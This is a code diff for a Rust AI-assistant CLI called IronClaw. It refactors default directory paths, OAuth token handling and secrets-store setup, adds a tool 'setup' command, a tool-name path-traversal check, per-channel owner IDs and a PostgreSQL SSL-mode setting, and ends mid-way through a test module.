--cli-only Run in interactive CLI mode only (disable other channels)
|
||||
--no-db Skip database connection (for testing)
|
||||
-m, --message <MESSAGE> Single message mode - send one message and exit
|
||||
-c, --config <CONFIG> Configuration file path (optional, uses env vars by default)
|
||||
--no-onboard Skip first-run onboarding check
|
||||
-h, --help Print help (see more with '--help')
|
||||
-V, --version Print version
|
||||
@@ -0,0 +1,47 @@
|
||||
---
|
||||
source: src/cli/mod.rs
|
||||
expression: help
|
||||
---
|
||||
IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.
|
||||
Examples:
|
||||
ironclaw run # Start the agent
|
||||
ironclaw config list # List configs
|
||||
|
||||
Usage: ironclaw [OPTIONS] [COMMAND]
|
||||
|
||||
Commands:
|
||||
run Run the AI agent
|
||||
onboard Run interactive setup wizard
|
||||
config Manage app configs
|
||||
tool Manage WASM tools
|
||||
registry Browse/install extensions
|
||||
mcp Manage MCP servers
|
||||
memory Manage workspace memory
|
||||
pairing Manage DM pairing
|
||||
service Manage OS service
|
||||
doctor Run diagnostics
|
||||
status Show system status
|
||||
completion Generate completions
|
||||
help Print this message or the help of the given subcommand(s)
|
||||
|
||||
Options:
|
||||
--cli-only
|
||||
Run in interactive CLI mode only (disable other channels)
|
||||
|
||||
--no-db
|
||||
Skip database connection (for testing)
|
||||
|
||||
-m, --message <MESSAGE>
|
||||
Single message mode - send one message and exit
|
||||
|
||||
-c, --config <CONFIG>
|
||||
Configuration file path (optional, uses env vars by default)
|
||||
|
||||
--no-onboard
|
||||
Skip first-run onboarding check
|
||||
|
||||
-h, --help
|
||||
Print help (see a summary with '-h')
|
||||
|
||||
-V, --version
|
||||
Print version
|
||||
+4
-13
@@ -5,6 +5,7 @@
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::settings::Settings;
|
||||
|
||||
/// Run the status command, printing system health info.
|
||||
@@ -168,11 +169,7 @@ async fn check_database() -> anyhow::Result<()> {
|
||||
url: Some(url),
|
||||
..Default::default()
|
||||
};
|
||||
let pool = config
|
||||
.create_pool(
|
||||
Some(deadpool_postgres::Runtime::Tokio1),
|
||||
tokio_postgres::NoTls,
|
||||
)
|
||||
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
|
||||
.map_err(|e| anyhow::anyhow!("pool error: {}", e))?;
|
||||
|
||||
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
||||
@@ -206,15 +203,9 @@ fn count_wasm_files(dir: &std::path::Path) -> usize {
|
||||
}
|
||||
|
||||
fn default_tools_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("tools")
|
||||
ironclaw_base_dir().join("tools")
|
||||
}
|
||||
|
||||
fn default_channels_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("channels")
|
||||
ironclaw_base_dir().join("channels")
|
||||
}
|
||||
|
||||
+242
-221
@@ -9,6 +9,7 @@ use std::sync::Arc;
|
||||
use clap::Subcommand;
|
||||
use tokio::fs;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::Config;
|
||||
#[allow(unused_imports)]
|
||||
use crate::db::Database;
|
||||
@@ -19,9 +20,7 @@ use crate::tools::wasm::{CapabilitiesFile, compute_binary_hash};
|
||||
|
||||
/// Default tools directory.
|
||||
fn default_tools_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.map(|h| h.join(".ironclaw").join("tools"))
|
||||
.unwrap_or_else(|| PathBuf::from(".ironclaw/tools"))
|
||||
ironclaw_base_dir().join("tools")
|
||||
}
|
||||
|
||||
#[derive(Subcommand, Debug, Clone)]
|
||||
@@ -100,6 +99,20 @@ pub enum ToolCommand {
|
||||
#[arg(short, long, default_value = "default")]
|
||||
user: String,
|
||||
},
|
||||
|
||||
/// Configure required secrets for a tool (from setup.required_secrets)
|
||||
Setup {
|
||||
/// Name of the tool
|
||||
name: String,
|
||||
|
||||
/// Directory to look for tool (default: ~/.ironclaw/tools/)
|
||||
#[arg(short, long)]
|
||||
dir: Option<PathBuf>,
|
||||
|
||||
/// User ID for storing the secret (default: "default")
|
||||
#[arg(short, long, default_value = "default")]
|
||||
user: String,
|
||||
},
|
||||
}
|
||||
|
||||
/// Run a tool command.
|
||||
@@ -118,6 +131,7 @@ pub async fn run_tool_command(cmd: ToolCommand) -> anyhow::Result<()> {
|
||||
ToolCommand::Remove { name, dir } => remove_tool(name, dir).await,
|
||||
ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await,
|
||||
ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await,
|
||||
ToolCommand::Setup { name, dir, user } => setup_tool(name, dir, user).await,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -524,43 +538,24 @@ fn print_capabilities_detail(caps: &CapabilitiesFile) {
|
||||
}
|
||||
}
|
||||
|
||||
/// Configure authentication for a tool.
|
||||
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
||||
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
||||
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
||||
|
||||
if !caps_path.exists() {
|
||||
/// Validate a tool name to prevent path traversal.
|
||||
fn validate_tool_name(name: &str) -> anyhow::Result<()> {
|
||||
if name.is_empty()
|
||||
|| name.contains('/')
|
||||
|| name.contains('\\')
|
||||
|| name.contains("..")
|
||||
|| name.contains('\0')
|
||||
{
|
||||
anyhow::bail!(
|
||||
"Tool '{}' not found or has no capabilities file at {}",
|
||||
name,
|
||||
caps_path.display()
|
||||
"Invalid tool name '{}': must not contain path separators or '..'",
|
||||
name
|
||||
);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Parse capabilities
|
||||
let content = fs::read_to_string(&caps_path).await?;
|
||||
let caps = CapabilitiesFile::from_json(&content)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
||||
|
||||
// Check for auth section
|
||||
let auth = caps.auth.ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
"Tool '{}' has no auth configuration.\n\
|
||||
The tool may not require authentication, or auth setup is not defined.",
|
||||
name
|
||||
)
|
||||
})?;
|
||||
|
||||
let display_name = auth.display_name.as_deref().unwrap_or(&name);
|
||||
|
||||
let header = format!("{} Authentication", display_name);
|
||||
println!();
|
||||
println!("╔════════════════════════════════════════════════════════════════╗");
|
||||
println!("║ {:^62}║", header);
|
||||
println!("╚════════════════════════════════════════════════════════════════╝");
|
||||
println!();
|
||||
|
||||
// Initialize secrets store
|
||||
/// Initialize the secrets store from environment config.
|
||||
async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sync>> {
|
||||
let config = Config::from_env().await?;
|
||||
let master_key = config.secrets.master_key().ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
@@ -570,7 +565,7 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
|
||||
|
||||
let crypto = SecretsCrypto::new(master_key.clone())?;
|
||||
|
||||
let secrets_store: Arc<dyn SecretsStore + Send + Sync> = {
|
||||
let store: Arc<dyn SecretsStore + Send + Sync> = {
|
||||
#[cfg(feature = "postgres")]
|
||||
{
|
||||
let store = crate::history::Store::new(&config.database).await?;
|
||||
@@ -620,6 +615,47 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
|
||||
);
|
||||
}
|
||||
};
|
||||
Ok(store)
|
||||
}
|
||||
|
||||
/// Configure authentication for a tool.
|
||||
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
||||
validate_tool_name(&name)?;
|
||||
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
||||
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
||||
|
||||
if !caps_path.exists() {
|
||||
anyhow::bail!(
|
||||
"Tool '{}' not found or has no capabilities file at {}",
|
||||
name,
|
||||
caps_path.display()
|
||||
);
|
||||
}
|
||||
|
||||
// Parse capabilities
|
||||
let content = fs::read_to_string(&caps_path).await?;
|
||||
let caps = CapabilitiesFile::from_json(&content)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
||||
|
||||
// Check for auth section
|
||||
let auth = caps.auth.ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
"Tool '{}' has no auth configuration.\n\
|
||||
The tool may not require authentication, or auth setup is not defined.",
|
||||
name
|
||||
)
|
||||
})?;
|
||||
|
||||
let display_name = auth.display_name.as_deref().unwrap_or(&name);
|
||||
|
||||
let header = format!("{} Authentication", display_name);
|
||||
println!();
|
||||
println!("╔════════════════════════════════════════════════════════════════╗");
|
||||
println!("║ {:^62}║", header);
|
||||
println!("╚════════════════════════════════════════════════════════════════╝");
|
||||
println!();
|
||||
|
||||
let secrets_store = init_secrets_store().await?;
|
||||
|
||||
// Check if already configured
|
||||
let already_configured = secrets_store
|
||||
@@ -746,11 +782,7 @@ async fn auth_tool_oauth(
|
||||
auth: &crate::tools::wasm::AuthCapabilitySchema,
|
||||
oauth: &crate::tools::wasm::OAuthConfigSchema,
|
||||
) -> anyhow::Result<()> {
|
||||
use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
|
||||
use rand::RngCore;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
use crate::cli::oauth_defaults::{self, OAUTH_CALLBACK_PORT};
|
||||
use crate::cli::oauth_defaults;
|
||||
|
||||
let display_name = auth.display_name.as_deref().unwrap_or(&auth.secret_name);
|
||||
|
||||
@@ -791,142 +823,69 @@ async fn auth_tool_oauth(
|
||||
println!();
|
||||
|
||||
let listener = oauth_defaults::bind_callback_listener().await?;
|
||||
let redirect_uri = format!("http://localhost:{}/callback", OAUTH_CALLBACK_PORT);
|
||||
let redirect_uri = format!("{}/callback", oauth_defaults::callback_url());
|
||||
|
||||
// Generate PKCE verifier and challenge
|
||||
let (code_verifier, code_challenge) = if oauth.use_pkce {
|
||||
let mut verifier_bytes = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut verifier_bytes);
|
||||
let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
|
||||
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(verifier.as_bytes());
|
||||
let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize());
|
||||
|
||||
(Some(verifier), Some(challenge))
|
||||
} else {
|
||||
(None, None)
|
||||
};
|
||||
|
||||
// Build authorization URL
|
||||
let mut auth_url = format!(
|
||||
"{}?client_id={}&response_type=code&redirect_uri={}",
|
||||
oauth.authorization_url,
|
||||
urlencoding::encode(&client_id),
|
||||
urlencoding::encode(&redirect_uri)
|
||||
// Build authorization URL with PKCE and CSRF state
|
||||
let oauth_result = oauth_defaults::build_oauth_url(
|
||||
&oauth.authorization_url,
|
||||
&client_id,
|
||||
&redirect_uri,
|
||||
&oauth.scopes,
|
||||
oauth.use_pkce,
|
||||
&oauth.extra_params,
|
||||
);
|
||||
|
||||
if !oauth.scopes.is_empty() {
|
||||
auth_url.push_str(&format!(
|
||||
"&scope={}",
|
||||
urlencoding::encode(&oauth.scopes.join(" "))
|
||||
));
|
||||
}
|
||||
|
||||
if let Some(ref challenge) = code_challenge {
|
||||
auth_url.push_str(&format!(
|
||||
"&code_challenge={}&code_challenge_method=S256",
|
||||
challenge
|
||||
));
|
||||
}
|
||||
|
||||
// Add extra params
|
||||
for (key, value) in &oauth.extra_params {
|
||||
auth_url.push_str(&format!(
|
||||
"&{}={}",
|
||||
urlencoding::encode(key),
|
||||
urlencoding::encode(value)
|
||||
));
|
||||
}
|
||||
let code_verifier = oauth_result.code_verifier;
|
||||
|
||||
println!(" Opening browser for {} login...", display_name);
|
||||
println!();
|
||||
|
||||
if let Err(e) = open::that(&auth_url) {
|
||||
if let Err(e) = open::that(&oauth_result.url) {
|
||||
println!(" Could not open browser: {}", e);
|
||||
println!(" Please open this URL manually:");
|
||||
println!(" {}", auth_url);
|
||||
println!(" {}", oauth_result.url);
|
||||
}
|
||||
|
||||
println!(" Waiting for authorization...");
|
||||
|
||||
let code =
|
||||
oauth_defaults::wait_for_callback(listener, "/callback", "code", display_name).await?;
|
||||
let code = oauth_defaults::wait_for_callback(
|
||||
listener,
|
||||
"/callback",
|
||||
"code",
|
||||
display_name,
|
||||
Some(&oauth_result.state),
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!();
|
||||
println!(" Exchanging code for token...");
|
||||
|
||||
// Exchange code for token
|
||||
let client = reqwest::Client::new();
|
||||
let mut token_params = vec![
|
||||
("grant_type", "authorization_code".to_string()),
|
||||
("code", code),
|
||||
("redirect_uri", redirect_uri),
|
||||
];
|
||||
|
||||
if let Some(ref verifier) = code_verifier {
|
||||
token_params.push(("code_verifier", verifier.to_string()));
|
||||
}
|
||||
|
||||
// Build token request
|
||||
let mut request = client.post(&oauth.token_url);
|
||||
|
||||
// Use Basic auth if client_secret is provided, otherwise include client_id in body
|
||||
if let Some(ref secret) = client_secret {
|
||||
request = request.basic_auth(&client_id, Some(secret));
|
||||
} else {
|
||||
token_params.push(("client_id", client_id));
|
||||
}
|
||||
|
||||
let token_response = request.form(&token_params).send().await?;
|
||||
|
||||
if !token_response.status().is_success() {
|
||||
let status = token_response.status();
|
||||
let body = token_response.text().await.unwrap_or_default();
|
||||
return Err(anyhow::anyhow!(
|
||||
"Token exchange failed: {} - {}",
|
||||
status,
|
||||
body
|
||||
));
|
||||
}
|
||||
|
||||
let token_data: serde_json::Value = token_response.json().await?;
|
||||
let access_token = token_data
|
||||
.get(&oauth.access_token_field)
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
"No {} in token response: {:?}",
|
||||
oauth.access_token_field,
|
||||
token_data
|
||||
)
|
||||
})?;
|
||||
|
||||
let refresh_token = token_data.get("refresh_token").and_then(|v| v.as_str());
|
||||
let expires_in = token_data.get("expires_in").and_then(|v| v.as_u64());
|
||||
|
||||
// Save the token (with refresh token and expiry if provided)
|
||||
save_token(
|
||||
store,
|
||||
user_id,
|
||||
auth,
|
||||
access_token,
|
||||
refresh_token,
|
||||
expires_in,
|
||||
let token_response = oauth_defaults::exchange_oauth_code(
|
||||
&oauth.token_url,
|
||||
&client_id,
|
||||
client_secret.as_deref(),
|
||||
&code,
|
||||
&redirect_uri,
|
||||
code_verifier.as_deref(),
|
||||
&oauth.access_token_field,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Extract any additional info for display
|
||||
let workspace_name = token_data
|
||||
.get("workspace_name")
|
||||
.and_then(|v| v.as_str())
|
||||
.or_else(|| token_data.get("team_name").and_then(|v| v.as_str()));
|
||||
// Save tokens (access + refresh + scopes)
|
||||
oauth_defaults::store_oauth_tokens(
|
||||
store,
|
||||
user_id,
|
||||
&auth.secret_name,
|
||||
auth.provider.as_deref(),
|
||||
&token_response.access_token,
|
||||
token_response.refresh_token.as_deref(),
|
||||
token_response.expires_in,
|
||||
&oauth.scopes,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!();
|
||||
println!(" ✓ {} connected!", display_name);
|
||||
if let Some(workspace) = workspace_name {
|
||||
println!(" Workspace: {}", workspace);
|
||||
}
|
||||
println!();
|
||||
println!(" The tool can now access the API.");
|
||||
println!();
|
||||
@@ -1071,46 +1030,15 @@ async fn validate_token(
|
||||
validation: &crate::tools::wasm::ValidationEndpointSchema,
|
||||
_secret_name: &str,
|
||||
) -> anyhow::Result<()> {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
// Build request based on method
|
||||
let request = match validation.method.to_uppercase().as_str() {
|
||||
"GET" => client.get(&validation.url),
|
||||
"POST" => client.post(&validation.url),
|
||||
_ => client.get(&validation.url),
|
||||
};
|
||||
|
||||
// Add authorization header (assume Bearer for now, could be extended)
|
||||
let response = request
|
||||
.header("Authorization", format!("Bearer {}", token))
|
||||
.header("Notion-Version", "2022-06-28") // Notion-specific, but harmless for others
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if response.status().as_u16() == validation.success_status {
|
||||
Ok(())
|
||||
} else {
|
||||
let status = response.status();
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
Err(anyhow::anyhow!(
|
||||
"HTTP {} (expected {}): {}",
|
||||
status,
|
||||
validation.success_status,
|
||||
if body.len() > 100 {
|
||||
format!("{}...", &body[..100])
|
||||
} else {
|
||||
body
|
||||
}
|
||||
))
|
||||
}
|
||||
crate::cli::oauth_defaults::validate_oauth_token(token, validation)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("{}", e))
|
||||
}
|
||||
|
||||
/// Save token to secrets store.
|
||||
///
|
||||
/// Optionally stores a refresh token (as `{secret_name}_refresh_token`) and
|
||||
/// sets `expires_at` on the access token so the runtime can auto-refresh.
|
||||
/// Delegates to the shared `store_oauth_tokens` for OAuth tokens, or stores
|
||||
/// directly for manual/env-var tokens (no scopes or refresh token).
|
||||
async fn save_token(
|
||||
store: &(dyn SecretsStore + Send + Sync),
|
||||
user_id: &str,
|
||||
@@ -1119,36 +1047,18 @@ async fn save_token(
|
||||
refresh_token: Option<&str>,
|
||||
expires_in: Option<u64>,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut params = CreateSecretParams::new(&auth.secret_name, token);
|
||||
|
||||
if let Some(ref provider) = auth.provider {
|
||||
params = params.with_provider(provider);
|
||||
}
|
||||
|
||||
if let Some(secs) = expires_in {
|
||||
let expires_at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
|
||||
params = params.with_expiry(expires_at);
|
||||
}
|
||||
|
||||
store
|
||||
.create(user_id, params)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Failed to save token: {}", e))?;
|
||||
|
||||
// Store refresh token separately (no expiry, it's long-lived)
|
||||
if let Some(rt) = refresh_token {
|
||||
let refresh_name = format!("{}_refresh_token", auth.secret_name);
|
||||
let mut refresh_params = CreateSecretParams::new(&refresh_name, rt);
|
||||
if let Some(ref provider) = auth.provider {
|
||||
refresh_params = refresh_params.with_provider(provider);
|
||||
}
|
||||
store
|
||||
.create(user_id, refresh_params)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Failed to save refresh token: {}", e))?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
crate::cli::oauth_defaults::store_oauth_tokens(
|
||||
store,
|
||||
user_id,
|
||||
&auth.secret_name,
|
||||
auth.provider.as_deref(),
|
||||
token,
|
||||
refresh_token,
|
||||
expires_in,
|
||||
&[], // No scopes for manual/env-var tokens
|
||||
)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("{}", e))
|
||||
}
|
||||
|
||||
/// Print success message.
|
||||
@@ -1160,6 +1070,117 @@ fn print_success(display_name: &str) {
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Configure required secrets for a tool via its `setup.required_secrets` schema.
|
||||
async fn setup_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
||||
validate_tool_name(&name)?;
|
||||
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
||||
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
||||
|
||||
if !caps_path.exists() {
|
||||
anyhow::bail!(
|
||||
"Tool '{}' not found or has no capabilities file at {}",
|
||||
name,
|
||||
caps_path.display()
|
||||
);
|
||||
}
|
||||
|
||||
let content = fs::read_to_string(&caps_path).await?;
|
||||
let caps = CapabilitiesFile::from_json(&content)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
||||
|
||||
let setup = caps.setup.ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
"Tool '{}' has no setup configuration.\n\
|
||||
The tool may not require setup, or setup is not defined.\n\
|
||||
Try 'ironclaw tool auth {}' for OAuth-based authentication.",
|
||||
name,
|
||||
name
|
||||
)
|
||||
})?;
|
||||
|
||||
if setup.required_secrets.is_empty() {
|
||||
println!("Tool '{}' has no required secrets.", name);
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let display_name = caps
|
||||
.auth
|
||||
.as_ref()
|
||||
.and_then(|a| a.display_name.as_deref())
|
||||
.unwrap_or(&name);
|
||||
|
||||
println!();
|
||||
println!("╔════════════════════════════════════════════════════════════════╗");
|
||||
println!("║ {:^62}║", format!("{} Setup", display_name));
|
||||
println!("╚════════════════════════════════════════════════════════════════╝");
|
||||
println!();
|
||||
|
||||
let secrets_store = init_secrets_store().await?;
|
||||
|
||||
let mut any_saved = false;
|
||||
|
||||
for secret in &setup.required_secrets {
|
||||
let already_exists = secrets_store
|
||||
.exists(&user_id, &secret.name)
|
||||
.await
|
||||
.unwrap_or(false);
|
||||
|
||||
if already_exists {
|
||||
println!(" ✓ {} (already configured)", secret.prompt);
|
||||
|
||||
print!(" Replace? [y/N]: ");
|
||||
std::io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
|
||||
if !input.trim().eq_ignore_ascii_case("y") {
|
||||
continue;
|
||||
}
|
||||
print!(" {}: ", secret.prompt);
|
||||
} else if secret.optional {
|
||||
print!(" {} (optional, Enter to skip): ", secret.prompt);
|
||||
} else {
|
||||
print!(" {}: ", secret.prompt);
|
||||
}
|
||||
|
||||
std::io::stdout().flush()?;
|
||||
let value = read_hidden_input()?;
|
||||
println!();
|
||||
|
||||
if value.is_empty() {
|
||||
if secret.optional {
|
||||
println!(" Skipped.");
|
||||
} else {
|
||||
println!(
|
||||
" Warning: empty value for required secret '{}'.",
|
||||
secret.name
|
||||
);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
let params = CreateSecretParams::new(&secret.name, &value).with_provider(name.to_string());
|
||||
secrets_store
|
||||
.create(&user_id, params)
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("Failed to save secret: {}", e))?;
|
||||
|
||||
println!(" ✓ Saved.");
|
||||
any_saved = true;
|
||||
}
|
||||
|
||||
println!();
|
||||
if any_saved {
|
||||
println!(" ✓ {} setup complete!", display_name);
|
||||
} else {
|
||||
println!(" No changes made.");
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
+20
-14
@@ -1,7 +1,9 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use secrecy::SecretString;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
use crate::settings::Settings;
|
||||
@@ -17,8 +19,9 @@ pub struct ChannelsConfig {
|
||||
pub wasm_channels_dir: std::path::PathBuf,
|
||||
/// Whether WASM channels are enabled.
|
||||
pub wasm_channels_enabled: bool,
|
||||
/// Telegram owner user ID. When set, the bot only responds to this user.
|
||||
pub telegram_owner_id: Option<i64>,
|
||||
/// Per-channel owner user IDs. When set, the channel only responds to this user.
|
||||
/// Key: channel name (e.g., "telegram"), Value: owner user ID.
|
||||
pub wasm_channel_owner_ids: HashMap<String, i64>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
@@ -179,22 +182,25 @@ impl ChannelsConfig {
|
||||
.map(PathBuf::from)
|
||||
.unwrap_or_else(default_channels_dir),
|
||||
wasm_channels_enabled: parse_bool_env("WASM_CHANNELS_ENABLED", true)?,
|
||||
telegram_owner_id: optional_env("TELEGRAM_OWNER_ID")?
|
||||
.map(|s| s.parse())
|
||||
.transpose()
|
||||
.map_err(|e: std::num::ParseIntError| ConfigError::InvalidValue {
|
||||
key: "TELEGRAM_OWNER_ID".to_string(),
|
||||
message: format!("must be an integer: {e}"),
|
||||
})?
|
||||
.or(settings.channels.telegram_owner_id),
|
||||
wasm_channel_owner_ids: {
|
||||
let mut ids = settings.channels.wasm_channel_owner_ids.clone();
|
||||
// Backwards compat: TELEGRAM_OWNER_ID env var
|
||||
if let Some(id_str) = optional_env("TELEGRAM_OWNER_ID")? {
|
||||
let id: i64 = id_str.parse().map_err(|e: std::num::ParseIntError| {
|
||||
ConfigError::InvalidValue {
|
||||
key: "TELEGRAM_OWNER_ID".to_string(),
|
||||
message: format!("must be an integer: {e}"),
|
||||
}
|
||||
})?;
|
||||
ids.insert("telegram".to_string(), id);
|
||||
}
|
||||
ids
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the default channels directory (~/.ironclaw/channels/).
|
||||
fn default_channels_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("channels")
|
||||
ironclaw_base_dir().join("channels")
|
||||
}
|
||||
|
||||
+101
-4
@@ -2,6 +2,7 @@ use std::path::PathBuf;
|
||||
|
||||
use secrecy::{ExposeSecret, SecretString};
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{optional_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
|
||||
@@ -39,6 +40,48 @@ impl std::str::FromStr for DatabaseBackend {
|
||||
}
|
||||
}
|
||||
|
||||
/// PostgreSQL SSL/TLS mode, matching libpq semantics for the common cases.
|
||||
///
|
||||
/// Default is `Prefer`: attempt TLS, fall back to plaintext. This is the
|
||||
/// safest non-breaking default — local Postgres without TLS keeps working
|
||||
/// while managed providers (Neon, Supabase, RDS) automatically get TLS.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub enum SslMode {
|
||||
/// Never use TLS (equivalent to libpq `sslmode=disable`).
|
||||
Disable,
|
||||
/// Try TLS first; fall back to plaintext on failure (default).
|
||||
#[default]
|
||||
Prefer,
|
||||
/// Require TLS; fail if the server does not support it.
|
||||
Require,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for SslMode {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
Self::Disable => write!(f, "disable"),
|
||||
Self::Prefer => write!(f, "prefer"),
|
||||
Self::Require => write!(f, "require"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::str::FromStr for SslMode {
|
||||
type Err = String;
|
||||
|
||||
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||
match s.to_lowercase().as_str() {
|
||||
"disable" => Ok(Self::Disable),
|
||||
"prefer" => Ok(Self::Prefer),
|
||||
"require" => Ok(Self::Require),
|
||||
_ => Err(format!(
|
||||
"invalid DATABASE_SSLMODE '{}', expected 'disable', 'prefer', or 'require'",
|
||||
s
|
||||
)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Database configuration.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct DatabaseConfig {
|
||||
@@ -48,6 +91,8 @@ pub struct DatabaseConfig {
|
||||
// -- PostgreSQL fields --
|
||||
pub url: SecretString,
|
||||
pub pool_size: usize,
|
||||
/// TLS mode for PostgreSQL connections (default: Prefer).
|
||||
pub ssl_mode: SslMode,
|
||||
|
||||
// -- libSQL fields --
|
||||
/// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db).
|
||||
@@ -87,6 +132,15 @@ impl DatabaseConfig {
|
||||
|
||||
let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?;
|
||||
|
||||
let ssl_mode: SslMode = if let Some(s) = optional_env("DATABASE_SSLMODE")? {
|
||||
s.parse().map_err(|e| ConfigError::InvalidValue {
|
||||
key: "DATABASE_SSLMODE".to_string(),
|
||||
message: e,
|
||||
})?
|
||||
} else {
|
||||
SslMode::default()
|
||||
};
|
||||
|
||||
let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| {
|
||||
if backend == DatabaseBackend::LibSql {
|
||||
Some(default_libsql_path())
|
||||
@@ -109,6 +163,7 @@ impl DatabaseConfig {
|
||||
backend,
|
||||
url: SecretString::from(url),
|
||||
pool_size,
|
||||
ssl_mode,
|
||||
libsql_path,
|
||||
libsql_url,
|
||||
libsql_auth_token,
|
||||
@@ -121,10 +176,52 @@ impl DatabaseConfig {
|
||||
}
|
||||
}
|
||||
|
||||
impl SslMode {
|
||||
/// Read from `DATABASE_SSLMODE` env var, defaulting to `Prefer`.
|
||||
///
|
||||
/// Silently falls back to `Prefer` on missing or unparseable values.
|
||||
/// Used by lightweight CLI tools (status, doctor) that don't run the
|
||||
/// full config pipeline.
|
||||
pub fn from_env() -> Self {
|
||||
std::env::var("DATABASE_SSLMODE")
|
||||
.ok()
|
||||
.and_then(|s| s.parse().ok())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
}
|
||||
|
||||
/// Default libSQL database path (~/.ironclaw/ironclaw.db).
|
||||
pub fn default_libsql_path() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("ironclaw.db")
|
||||
ironclaw_base_dir().join("ironclaw.db")
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn ssl_mode_default_is_prefer() {
|
||||
assert_eq!(SslMode::default(), SslMode::Prefer);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssl_mode_parse_roundtrip() {
|
||||
